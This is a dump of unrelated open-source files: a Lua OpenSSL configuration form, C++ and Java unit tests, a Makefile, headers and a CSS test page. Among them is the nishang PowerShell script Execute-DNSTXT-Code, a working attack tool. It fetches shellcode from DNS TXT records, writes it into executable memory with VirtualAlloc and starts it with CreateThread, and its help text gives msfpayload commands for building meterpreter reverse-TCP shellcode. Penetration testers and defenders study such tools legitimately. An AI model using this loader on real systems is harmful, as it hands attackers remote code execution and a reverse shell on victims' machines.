form["openssl."..name..".poly_match_stateOrProvinceName"].options:Add("supplied",tr("supplied")) form["openssl."..name..".poly_match_stateOrProvinceName"].options:Add("optional",tr("optional")) form:Add("select","openssl."..name..".poly_match_localityName",uci.check_set("openssl",name,"poly_match_localityName","optional"),tr("openssl_var_localityName#Locality Name"),"string") form["openssl."..name..".poly_match_localityName"].options:Add("match",tr("match")) form["openssl."..name..".poly_match_localityName"].options:Add("supplied",tr("supplied")) form["openssl."..name..".poly_match_localityName"].options:Add("optional",tr("optional")) form:Add("select","openssl."..name..".poly_match_organizationName",uci.check_set("openssl",name,"poly_match_organizationName","optional"),tr("openssl_var_organizationName#Organization Name"),"string") form["openssl."..name..".poly_match_organizationName"].options:Add("match",tr("match")) form["openssl."..name..".poly_match_organizationName"].options:Add("supplied",tr("supplied")) form["openssl."..name..".poly_match_organizationName"].options:Add("optional",tr("optional")) form:Add("select","openssl."..name..".poly_match_organizationUnitName",uci.check_set("openssl",name,"poly_match_organizationUnitName","optional"),tr("openssl_var_organizationUnitName#Organization Unit"),"string") form["openssl."..name..".poly_match_organizationUnitName"].options:Add("match",tr("match")) form["openssl."..name..".poly_match_organizationUnitName"].options:Add("supplied",tr("supplied")) form["openssl."..name..".poly_match_organizationUnitName"].options:Add("optional",tr("optional")) form:Add("select","openssl."..name..".poly_match_emailAddress",uci.check_set("openssl",name,"poly_match_emailAddress","optional"),tr("openssl_var_emailAddress#e-Mail Address"),"string") form["openssl."..name..".poly_match_emailAddress"].options:Add("match",tr("match")) form["openssl."..name..".poly_match_emailAddress"].options:Add("supplied",tr("supplied")) form["openssl."..name..".poly_match_emailAddress"].options:Add("optional",tr("optional")) form:Add("select","openssl."..name..".poly_match_commonName",uci.check_set("openssl",name,"poly_match_commonName","supplied"),tr("openssl_var_commonName#Common Name"),"string") form["openssl."..name..".poly_match_commonName"].options:Add("match",tr("match")) form["openssl."..name..".poly_match_commonName"].options:Add("supplied",tr("supplied")) form["openssl."..name..".poly_match_commonName"].options:Add("optional",tr("optional")) return form end function form_ent_set_policy_match_values(form,name) local form = form if form == nil then form = formClass.new(tr("openssl_set_poli_matc#Policy Default Values")) else form:Add("subtitle",tr("openssl_set_poli_matc#Policy Default Values")) end -- local sType = uci.get("openssl",name,poly_match_countryName) -- if sType == "match" or sType == "supplied" then form:Add("text","openssl."..name..".poly_match_countryName_default",uci.check_set("openssl",name,"poly_match_countryName_default","US"),tr("openssl_var_countryName#Country Name"),"string") -- end -- sType = uci.get("openssl",name,poly_match_stateOrProvinceName) form:Add("text","openssl."..name..".poly_match_stateOrProvinceName_default",uci.check_set("openssl",name,"poly_match_stateOrProvinceName_default","Province Or State"),tr("openssl_var_stateOrProvinceName#Province or State"),"string") form:Add("text","openssl."..name..".poly_match_localityName_default",uci.check_set("openssl",name,"poly_match_localityName_default","City or some Location "),tr("openssl_var_localityName#Locality Name"),"string") form:Add("text","openssl."..name..".poly_match_organizationName_default",uci.check_set("openssl",name,"poly_match_organizationName_default","Company Name"),tr("openssl_var_organizationName#Organization Name"),"string") form:Add("text","openssl."..name..".poly_match_organizationUnitName_default",uci.check_set("openssl",name,"poly_match_organizationUnitName_default","Unit or Deparment Name"),tr("openssl_var_organizationUnitName#Organization Unit"),"string") form:Add("text","openssl."..name..".poly_match_emailAddress_default",uci.check_set("openssl",name,"poly_match_emailAddress_default",""),tr("openssl_var_emailAddress#e-Mail Address"),"string") form:Add("text","openssl."..name..".poly_match_commonName_default",uci.check_set("openssl",name,"poly_match_commonName_default","HostName or IP or your name"),tr("openssl_var_commonName#Common Name"),"string") local file = "/etc/openssl/"..name.."/cacert.crt" if not util.file_exists(file) then createCA(form,name) end return form end function form_ent_set_ca_def(form,name) local form = form local forms = {} if form == nil then form = formClass.new(tr("openssl_ca_def#CA default")) else form:Add("subtitle",tr("openssl_ca_def#CA defaul")) end form:Add("text","openssl."..name..".CA_default_days", uci.check_set("openssl",name,"CA_default_days",365), tr("openssl_var_days#Default Days"),"int") form:Add("text","openssl."..name..".CA_default_crldays", uci.check_set("openssl",name,"CA_default_crldays",30), tr("openssl_var_crldays#Default CRL Days"),"int") -- form:Add("text","openssl."..name..".CA_default_bits", uci.check_set("openssl",name,"CA_default_bits",1024), tr("openssl_var_bits#Default Bits"),"int") form:Add("select","openssl."..name..".CA_default_bits",uci.check_set("openssl",name,"CA_default_bits","1024"),tr("openssl_var_bits#Defalt Bits"),"string") form["openssl."..name..".CA_default_bits"].options:Add("512","512") form["openssl."..name..".CA_default_bits"].options:Add("1024","1024") form["openssl."..name..".CA_default_bits"].options:Add("2048","2048") form["openssl."..name..".CA_default_bits"].options:Add("4096","4096") form:Add("select","openssl."..name..".CA_default_md",uci.check_set("openssl",name,"CA_default_md","sha1"),tr("openssl_var_md#Msg Digest algorithm"),"string") local mdlist = io.popen("openssl list-message-digest-commands -text") for m in mdlist:lines() do form["openssl."..name..".CA_default_md"].options:Add(m,m) end forms[#forms+1] = form return form end ---------------------------------------------------------
gpl-2.0
skristiansson/eco32-gcc
libstdc++-v3/testsuite/23_containers/deque/modifiers/swap/2.cc
3966
// 2005-12-20 Paolo Carlini <[email protected]> // Copyright (C) 2005-2013 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License along // with this library; see the file COPYING3. If not see // <http://www.gnu.org/licenses/>. // 23.2.1.3 deque::swap #include <deque> #include <testsuite_hooks.h> #include <testsuite_allocator.h> // uneq_allocator as a non-empty allocator. void test01() { bool test __attribute__((unused)) = true; using namespace std; typedef __gnu_test::uneq_allocator<char> my_alloc; typedef deque<char, my_alloc> my_deque; const char title01[] = "Rivers of sand"; const char title02[] = "Concret PH"; const char title03[] = "Sonatas and Interludes for Prepared Piano"; const char title04[] = "never as tired as when i'm waking up"; const size_t N1 = sizeof(title01); const size_t N2 = sizeof(title02); const size_t N3 = sizeof(title03); const size_t N4 = sizeof(title04); my_deque::size_type size01, size02; my_alloc alloc01(1); my_deque deq01(alloc01); size01 = deq01.size(); my_deque deq02(alloc01); size02 = deq02.size(); deq01.swap(deq02); VERIFY( deq01.size() == size02 ); VERIFY( deq01.empty() ); VERIFY( deq02.size() == size01 ); VERIFY( deq02.empty() ); my_deque deq03(alloc01); size01 = deq03.size(); my_deque deq04(title02, title02 + N2, alloc01); size02 = deq04.size(); deq03.swap(deq04); VERIFY( deq03.size() == size02 ); VERIFY( equal(deq03.begin(), deq03.end(), title02) ); VERIFY( deq04.size() == size01 ); VERIFY( deq04.empty() ); my_deque deq05(title01, title01 + N1, alloc01); size01 = deq05.size(); my_deque deq06(title02, title02 + N2, alloc01); size02 = deq06.size(); deq05.swap(deq06); VERIFY( deq05.size() == size02 ); VERIFY( equal(deq05.begin(), deq05.end(), title02) ); VERIFY( deq06.size() == size01 ); VERIFY( equal(deq06.begin(), deq06.end(), title01) ); my_deque deq07(title01, title01 + N1, alloc01); size01 = deq07.size(); my_deque deq08(title03, title03 + N3, alloc01); size02 = deq08.size(); deq07.swap(deq08); VERIFY( deq07.size() == size02 ); VERIFY( equal(deq07.begin(), deq07.end(), title03) ); VERIFY( deq08.size() == size01 ); VERIFY( equal(deq08.begin(), deq08.end(), title01) ); my_deque deq09(title03, title03 + N3, alloc01); size01 = deq09.size(); my_deque deq10(title04, title04 + N4, alloc01); size02 = deq10.size(); deq09.swap(deq10); VERIFY( deq09.size() == size02 ); VERIFY( equal(deq09.begin(), deq09.end(), title04) ); VERIFY( deq10.size() == size01 ); VERIFY( equal(deq10.begin(), deq10.end(), title03) ); my_deque deq11(title04, title04 + N4, alloc01); size01 = deq11.size(); my_deque deq12(title01, title01 + N1, alloc01); size02 = deq12.size(); deq11.swap(deq12); VERIFY( deq11.size() == size02 ); VERIFY( equal(deq11.begin(), deq11.end(), title01) ); VERIFY( deq12.size() == size01 ); VERIFY( equal(deq12.begin(), deq12.end(), title04) ); my_deque deq13(title03, title03 + N3, alloc01); size01 = deq13.size(); my_deque deq14(title03, title03 + N3, alloc01); size02 = deq14.size(); deq13.swap(deq14); VERIFY( deq13.size() == size02 ); VERIFY( equal(deq13.begin(), deq13.end(), title03) ); VERIFY( deq14.size() == size01 ); VERIFY( equal(deq14.begin(), deq14.end(), title03) ); } int main() { test01(); return 0; }
gpl-2.0
ZhizhouTian/s3c-linux
sound/soc/omap/Makefile
392
# OMAP Platform Support snd-soc-omap-objs := omap-pcm.o snd-soc-omap-mcbsp-objs := omap-mcbsp.o obj-$(CONFIG_SND_OMAP_SOC) += snd-soc-omap.o obj-$(CONFIG_SND_OMAP_SOC_MCBSP) += snd-soc-omap-mcbsp.o # OMAP Machine Support snd-soc-n810-objs := n810.o snd-soc-osk5912-objs := osk5912.o obj-$(CONFIG_SND_OMAP_SOC_N810) += snd-soc-n810.o obj-$(CONFIG_SND_OMAP_SOC_OSK5912) += snd-soc-osk5912.o
gpl-2.0
dhamma-dev/SEA
web/portfolio/download/simpletest/testportfolioplugindownload.php
1151
<?php require_once($CFG->libdir.'/simpletest/testportfoliolib.php'); require_once($CFG->dirroot.'/portfolio/download/lib.php'); /* * TODO: The portfolio unit tests were obselete and did not work. * They have been commented out so that they do not break the * unit tests in Moodle 2. * * At some point: * 1. These tests should be audited to see which ones were valuable. * 2. The useful ones should be rewritten using the current standards * for writing test cases. * * This might be left until Moodle 2.1 when the test case framework * is due to change. Mock::generate('boxclient', 'mock_boxclient'); Mock::generatePartial('portfolio_plugin_download', 'mock_downloadplugin', array('ensure_ticket', 'ensure_account_tree')); */ class testPortfolioPluginDownload extends portfoliolib_test { public static $includecoverage = array('lib/portfoliolib.php', 'portfolio/download/lib.php'); public function setUp() { parent::setUp(); // $this->plugin = new mock_boxnetplugin($this); // $this->plugin->boxclient = new mock_boxclient(); } public function tearDown() { parent::tearDown(); } }
gpl-3.0
s20121035/rk3288_android5.1_repo
external/chromium_org/chrome/browser/chromeos/policy/enrollment_handler_chromeos.h
8247
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_CHROMEOS_POLICY_ENROLLMENT_HANDLER_CHROMEOS_H_ #define CHROME_BROWSER_CHROMEOS_POLICY_ENROLLMENT_HANDLER_CHROMEOS_H_ #include <string> #include "base/basictypes.h" #include "base/compiler_specific.h" #include "base/memory/ref_counted.h" #include "base/memory/scoped_ptr.h" #include "base/memory/weak_ptr.h" #include "chrome/browser/chromeos/policy/device_cloud_policy_initializer.h" #include "chrome/browser/chromeos/policy/device_cloud_policy_validator.h" #include "chrome/browser/chromeos/policy/enterprise_install_attributes.h" #include "components/policy/core/common/cloud/cloud_policy_client.h" #include "components/policy/core/common/cloud/cloud_policy_store.h" #include "google_apis/gaia/gaia_oauth_client.h" #include "policy/proto/device_management_backend.pb.h" namespace base { class SequencedTaskRunner; } namespace chromeos { class DeviceSettingsService; } namespace policy { class DeviceCloudPolicyStoreChromeOS; class ServerBackedStateKeysBroker; // Implements the logic that establishes enterprise enrollment for Chromium OS // devices. The process is as follows: // 1. Given an auth token, register with the policy service. // 2. Download the initial policy blob from the service. // 3. Verify the policy blob. Everything up to this point doesn't touch device // state. // 4. Download the OAuth2 authorization code for device-level API access. // 5. Download the OAuth2 refresh token for device-level API access and store // it. // 6. Establish the device lock in installation-time attributes. // 7. Store the policy blob and API refresh token. class EnrollmentHandlerChromeOS : public CloudPolicyClient::Observer, public CloudPolicyStore::Observer, public gaia::GaiaOAuthClient::Delegate { public: typedef DeviceCloudPolicyInitializer::AllowedDeviceModes AllowedDeviceModes; typedef DeviceCloudPolicyInitializer::EnrollmentCallback EnrollmentCallback; // |store| and |install_attributes| must remain valid for the life time of the // enrollment handler. |allowed_device_modes| determines what device modes // are acceptable. If the mode specified by the server is not acceptable, // enrollment will fail with an EnrollmentStatus indicating // STATUS_REGISTRATION_BAD_MODE. // |management_mode| should be either ENTERPRISE_MANAGED or CONSUMER_MANAGED. EnrollmentHandlerChromeOS( DeviceCloudPolicyStoreChromeOS* store, EnterpriseInstallAttributes* install_attributes, ServerBackedStateKeysBroker* state_keys_broker, chromeos::DeviceSettingsService* device_settings_service, scoped_ptr<CloudPolicyClient> client, scoped_refptr<base::SequencedTaskRunner> background_task_runner, const std::string& auth_token, const std::string& client_id, bool is_auto_enrollment, const std::string& requisition, const AllowedDeviceModes& allowed_device_modes, enterprise_management::PolicyData::ManagementMode management_mode, const EnrollmentCallback& completion_callback); virtual ~EnrollmentHandlerChromeOS(); // Starts the enrollment process and reports the result to // |completion_callback_|. void StartEnrollment(); // Releases the client. scoped_ptr<CloudPolicyClient> ReleaseClient(); // CloudPolicyClient::Observer: virtual void OnPolicyFetched(CloudPolicyClient* client) OVERRIDE; virtual void OnRegistrationStateChanged(CloudPolicyClient* client) OVERRIDE; virtual void OnRobotAuthCodesFetched(CloudPolicyClient* client) OVERRIDE; virtual void OnClientError(CloudPolicyClient* client) OVERRIDE; // CloudPolicyStore::Observer: virtual void OnStoreLoaded(CloudPolicyStore* store) OVERRIDE; virtual void OnStoreError(CloudPolicyStore* store) OVERRIDE; // GaiaOAuthClient::Delegate: virtual void OnGetTokensResponse(const std::string& refresh_token, const std::string& access_token, int expires_in_seconds) OVERRIDE; virtual void OnRefreshTokenResponse(const std::string& access_token, int expires_in_seconds) OVERRIDE; virtual void OnOAuthError() OVERRIDE; virtual void OnNetworkError(int response_code) OVERRIDE; private: // Indicates what step of the process is currently pending. These steps need // to be listed in the order they are traversed in. enum EnrollmentStep { STEP_PENDING, // Not started yet. STEP_STATE_KEYS, // Waiting for state keys to become available. STEP_LOADING_STORE, // Waiting for |store_| to initialize. STEP_REGISTRATION, // Currently registering the client. STEP_POLICY_FETCH, // Fetching policy. STEP_VALIDATION, // Policy validation. STEP_ROBOT_AUTH_FETCH, // Fetching device API auth code. STEP_ROBOT_AUTH_REFRESH, // Fetching device API refresh token. STEP_LOCK_DEVICE, // Writing installation-time attributes. STEP_STORE_TOKEN_AND_ID, // Storing DM token and virtual device ID. STEP_STORE_ROBOT_AUTH, // Encrypting & writing robot refresh token. STEP_STORE_POLICY, // Storing policy and API refresh token. STEP_FINISHED, // Enrollment process finished, no further action. }; // Handles the response to a request for server-backed state keys. void HandleStateKeysResult(const std::vector<std::string>& state_keys, bool first_boot); // Starts registration if the store is initialized. void StartRegistration(); // Handles the policy validation result, proceeding with device lock if // successful. void HandlePolicyValidationResult(DeviceCloudPolicyValidator* validator); // Calls InstallAttributes::LockDevice() for enterprise enrollment and // DeviceSettingsService::SetManagementSettings() for consumer // enrollment. void StartLockDevice(); // Checks the status after SetManagementSettings() is done. Proceeds to // robot auth code storing if successful. void HandleSetManagementSettingsDone(); // Handle callback from InstallAttributes::LockDevice() and retry on failure. void HandleLockDeviceResult( EnterpriseInstallAttributes::LockResult lock_result); // Initiates storing of robot auth token. void StartStoreRobotAuth(); // Handles completion of the robot token store operation. void HandleStoreRobotAuthTokenResult(bool result); // Drops any ongoing actions. void Stop(); // Reports the result of the enrollment process to the initiator. void ReportResult(EnrollmentStatus status); DeviceCloudPolicyStoreChromeOS* store_; EnterpriseInstallAttributes* install_attributes_; ServerBackedStateKeysBroker* state_keys_broker_; chromeos::DeviceSettingsService* device_settings_service_; scoped_ptr<CloudPolicyClient> client_; scoped_refptr<base::SequencedTaskRunner> background_task_runner_; scoped_ptr<gaia::GaiaOAuthClient> gaia_oauth_client_; std::string auth_token_; std::string client_id_; bool is_auto_enrollment_; std::string requisition_; std::string current_state_key_; std::string refresh_token_; AllowedDeviceModes allowed_device_modes_; enterprise_management::PolicyData::ManagementMode management_mode_; EnrollmentCallback completion_callback_; // The device mode as received in the registration request. DeviceMode device_mode_; // The validated policy response info to be installed in the store. scoped_ptr<enterprise_management::PolicyFetchResponse> policy_; std::string username_; std::string device_id_; std::string request_token_; // Current enrollment step. EnrollmentStep enrollment_step_; // Total amount of time in milliseconds spent waiting for lockbox // initialization. int lockbox_init_duration_; base::WeakPtrFactory<EnrollmentHandlerChromeOS> weak_ptr_factory_; DISALLOW_COPY_AND_ASSIGN(EnrollmentHandlerChromeOS); }; } // namespace policy #endif // CHROME_BROWSER_CHROMEOS_POLICY_ENROLLMENT_HANDLER_CHROMEOS_H_
gpl-3.0
Luffin/webshell
aspx/nishang/Execution/Execute-DNSTXT-Code.ps1
3342
<# .SYNOPSIS Payload which could execute shellcode from DNS TXT queries. .DESCRIPTION This payload is able to pull shellcode from txt record of a domain. It has been tested for first stage of meterpreter shellcode generated using msf. Below commands could be used to generate shellcode to be usable with this payload ./msfpayload windows/meterpreter/reverse_tcp LHOST= EXITFUNC=process C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- |sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n' ./msfpayload windows/x64/meterpreter/reverse_tcp LHOST= EXITFUNC=process C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- |sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n' .PARAMETER shellcode32 The domain (or subdomain) whose TXT records would hold 32-bit shellcode. .PARAMETER shellcode64 The domain (or subdomain) whose TXT records would hold 64-bit shellcode. .PARAMETER AUTHNS Authoritative Name Server for the domains. .EXAMPLE PS > Execute-DNSTXT-Code The payload will ask for all required options. .EXAMPLE PS > Execute-DNSTXT-Code 32.alteredsecurity.com 64.alteredsecurity.com ns8.zoneedit.com Use above from non-interactive shell. .LINK http://labofapenetrationtester.blogspot.com/ https://github.com/samratashok/nishang .NOTES The code execution logic is based on this post by Matt. http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html #> function Execute-DNSTXT-Code { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [String] $ShellCode32, [Parameter(Position = 1, Mandatory = $True)] [String] $ShellCode64, [Parameter(Position = 2, Mandatory = $True)] [String] $AuthNS ) $code = (Invoke-Expression "nslookup -querytype=txt $shellcode32 $AuthNS") $tmp = $code | select-string -pattern "`"" $tmp1 = $tmp -split("`"")[0] [string]$shell = $tmp1 -replace "`t", "" $shell = $shell.replace(" ", "") [Byte[]]$sc32 = $shell -split ',' $code64 = (Invoke-Expression "nslookup -querytype=txt $shellcode64 $AuthNS") $tmp64 = $code64 | select-string -pattern "`"" $tmp164 = $tmp64 -split("`"")[0] [string]$shell64 = $tmp164 -replace "`t", "" $shell64 = $shell64.replace(" ", "") [Byte[]]$sc64 = $shell64 -split ',' $code = @' [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr dest, uint src, uint count); '@ $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru [Byte[]]$sc = $sc32 if ([IntPtr]::Size -eq 8) {$sc = $sc64} $size = 0x1000 if ($sc.Length -gt 0x1000) {$size = $sc.Length} $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} $winFunc::CreateThread(0,0,$x,0,0,0) while(1) { start-sleep -Seconds 100 } }
gpl-3.0
shinglyu/servo
tests/wpt/web-platform-tests/css/work-in-progress/gabriele/basic/sec4/comments2.html
781
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>CSS 2.1 Test Suite: Comments: Comment inside a declaration, with a space</title> <link rel="author" title="Gabriele Romanato" href="mailto:[email protected]" /> <link rel="help" href="http://www.w3.org/TR/CSS21/syndata.html#comments" /> <meta name="flags" content="" /> <meta name="assert" content="Browsers should ignore a comment inside a declaration also when it is combined with a space"/> <style type="text/css"> p {color: red} p {color: /**/ green} </style> </head> <body> <p>This text should be green, not red.</p> </body> </html>
mpl-2.0
hungld87/live555-for-win32
liveMedia/include/VP8VideoRTPSink.hh
1917
/********** This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. (See <http://www.gnu.org/copyleft/lesser.html>.) This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA **********/ // "liveMedia" // Copyright (c) 1996-2012 Live Networks, Inc. All rights reserved. // RTP sink for VP8 video // C++ header #ifndef _VP8_VIDEO_RTP_SINK_HH #define _VP8_VIDEO_RTP_SINK_HH #ifndef _VIDEO_RTP_SINK_HH #include "VideoRTPSink.hh" #endif class VP8VideoRTPSink: public VideoRTPSink { public: static VP8VideoRTPSink* createNew(UsageEnvironment& env, Groupsock* RTPgs, unsigned char rtpPayloadFormat); protected: VP8VideoRTPSink(UsageEnvironment& env, Groupsock* RTPgs, unsigned char rtpPayloadFormat); // called only by createNew() virtual ~VP8VideoRTPSink(); private: // redefined virtual functions: virtual void doSpecialFrameHandling(unsigned fragmentationOffset, unsigned char* frameStart, unsigned numBytesInFrame, struct timeval framePresentationTime, unsigned numRemainingBytes); virtual Boolean frameCanAppearAfterPacketStart(unsigned char const* frameStart, unsigned numBytesInFrame) const; virtual unsigned specialHeaderSize() const; }; #endif
lgpl-2.1
a2lin/elasticsearch
core/src/test/java/org/elasticsearch/search/aggregations/bucket/histogram/DateHistogramAggregatorTests.java
18412
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.elasticsearch.search.aggregations.bucket.histogram; import org.apache.lucene.document.Document; import org.apache.lucene.document.LongPoint; import org.apache.lucene.document.SortedNumericDocValuesField; import org.apache.lucene.index.DirectoryReader; import org.apache.lucene.index.IndexReader; import org.apache.lucene.index.RandomIndexWriter; import org.apache.lucene.search.IndexSearcher; import org.apache.lucene.search.MatchAllDocsQuery; import org.apache.lucene.search.MatchNoDocsQuery; import org.apache.lucene.search.Query; import org.apache.lucene.store.Directory; import org.elasticsearch.index.mapper.DateFieldMapper; import org.elasticsearch.search.aggregations.AggregatorTestCase; import java.io.IOException; import java.util.Arrays; import java.util.Collections; import java.util.List; import java.util.function.Consumer; public class DateHistogramAggregatorTests extends AggregatorTestCase { private static final String DATE_FIELD = "date"; private static final String INSTANT_FIELD = "instant"; private static final List<String> dataset = Arrays.asList( "2010-03-12T01:07:45", "2010-04-27T03:43:34", "2012-05-18T04:11:00", "2013-05-29T05:11:31", "2013-10-31T08:24:05", "2015-02-13T13:09:32", "2015-06-24T13:47:43", "2015-11-13T16:14:34", "2016-03-04T17:09:50", "2017-12-12T22:55:46"); public void testMatchNoDocs() throws IOException { testBothCases(new MatchNoDocsQuery(), dataset, aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.YEAR).field(DATE_FIELD), histogram -> assertEquals(0, histogram.getBuckets().size()) ); } public void testMatchAllDocs() throws IOException { Query query = new MatchAllDocsQuery(); testSearchCase(query, dataset, aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.YEAR).field(DATE_FIELD), histogram -> assertEquals(6, histogram.getBuckets().size()) ); testSearchAndReduceCase(query, dataset, aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.YEAR).field(DATE_FIELD), histogram -> assertEquals(8, histogram.getBuckets().size()) ); testBothCases(query, dataset, aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.YEAR).field(DATE_FIELD).minDocCount(1L), histogram -> assertEquals(6, histogram.getBuckets().size()) ); } public void testNoDocs() throws IOException { Query query = new MatchNoDocsQuery(); List<String> dates = Collections.emptyList(); Consumer<DateHistogramAggregationBuilder> aggregation = agg -> agg.dateHistogramInterval(DateHistogramInterval.YEAR).field(DATE_FIELD); testSearchCase(query, dates, aggregation, histogram -> assertEquals(0, histogram.getBuckets().size()) ); testSearchAndReduceCase(query, dates, aggregation, histogram -> assertNull(histogram) ); } public void testAggregateWrongField() throws IOException { testBothCases(new MatchAllDocsQuery(), dataset, aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.YEAR).field("wrong_field"), histogram -> assertEquals(0, histogram.getBuckets().size()) ); } public void testIntervalYear() throws IOException { testBothCases(LongPoint.newRangeQuery(INSTANT_FIELD, asLong("2015-01-01"), asLong("2017-12-31")), dataset, aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.YEAR).field(DATE_FIELD), histogram -> { List<Histogram.Bucket> buckets = histogram.getBuckets(); assertEquals(3, buckets.size()); Histogram.Bucket bucket = buckets.get(0); assertEquals("2015-01-01T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(3, bucket.getDocCount()); bucket = buckets.get(1); assertEquals("2016-01-01T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); bucket = buckets.get(2); assertEquals("2017-01-01T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); } ); } public void testIntervalMonth() throws IOException { testBothCases(new MatchAllDocsQuery(), Arrays.asList("2017-01-01", "2017-02-02", "2017-02-03", "2017-03-04", "2017-03-05", "2017-03-06"), aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.MONTH).field(DATE_FIELD), histogram -> { List<Histogram.Bucket> buckets = histogram.getBuckets(); assertEquals(3, buckets.size()); Histogram.Bucket bucket = buckets.get(0); assertEquals("2017-01-01T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); bucket = buckets.get(1); assertEquals("2017-02-01T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(2, bucket.getDocCount()); bucket = buckets.get(2); assertEquals("2017-03-01T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(3, bucket.getDocCount()); } ); } public void testIntervalDay() throws IOException { testBothCases(new MatchAllDocsQuery(), Arrays.asList( "2017-02-01", "2017-02-02", "2017-02-02", "2017-02-03", "2017-02-03", "2017-02-03", "2017-02-05" ), aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.DAY).field(DATE_FIELD).minDocCount(1L), histogram -> { List<Histogram.Bucket> buckets = histogram.getBuckets(); assertEquals(4, buckets.size()); Histogram.Bucket bucket = buckets.get(0); assertEquals("2017-02-01T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); bucket = buckets.get(1); assertEquals("2017-02-02T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(2, bucket.getDocCount()); bucket = buckets.get(2); assertEquals("2017-02-03T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(3, bucket.getDocCount()); bucket = buckets.get(3); assertEquals("2017-02-05T00:00:00.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); } ); } public void testIntervalHour() throws IOException { testBothCases(new MatchAllDocsQuery(), Arrays.asList( "2017-02-01T09:02:00.000Z", "2017-02-01T09:35:00.000Z", "2017-02-01T10:15:00.000Z", "2017-02-01T13:06:00.000Z", "2017-02-01T14:04:00.000Z", "2017-02-01T14:05:00.000Z", "2017-02-01T15:59:00.000Z", "2017-02-01T16:06:00.000Z", "2017-02-01T16:48:00.000Z", "2017-02-01T16:59:00.000Z" ), aggregation -> aggregation.dateHistogramInterval(DateHistogramInterval.HOUR).field(DATE_FIELD).minDocCount(1L), histogram -> { List<Histogram.Bucket> buckets = histogram.getBuckets(); assertEquals(6, buckets.size()); Histogram.Bucket bucket = buckets.get(0); assertEquals("2017-02-01T09:00:00.000Z", bucket.getKeyAsString()); assertEquals(2, bucket.getDocCount()); bucket = buckets.get(1); assertEquals("2017-02-01T10:00:00.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); bucket = buckets.get(2); assertEquals("2017-02-01T13:00:00.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); bucket = buckets.get(3); assertEquals("2017-02-01T14:00:00.000Z", bucket.getKeyAsString()); assertEquals(2, bucket.getDocCount()); bucket = buckets.get(4); assertEquals("2017-02-01T15:00:00.000Z", bucket.getKeyAsString()); assertEquals(1, bucket.getDocCount()); bucket = buckets.get(5); assertEquals("2017-02-01T16:00:00.000Z", bucket.getKeyAsString()); assertEquals(3, bucket.getDocCount()); } ); } public void testIntervalMinute() throws IOException { testBothCases(new MatchAllDocsQuery(), Arrays.asList( "2017-02-01T09:02:35.000Z", "2017-02-01T09:02:59.000Z", "2017-02-01T09:15:37.000Z", "2017-02-01T09:16:04.000Z", "2017-02-01T09:16:42.000Z" ), aggregation -> 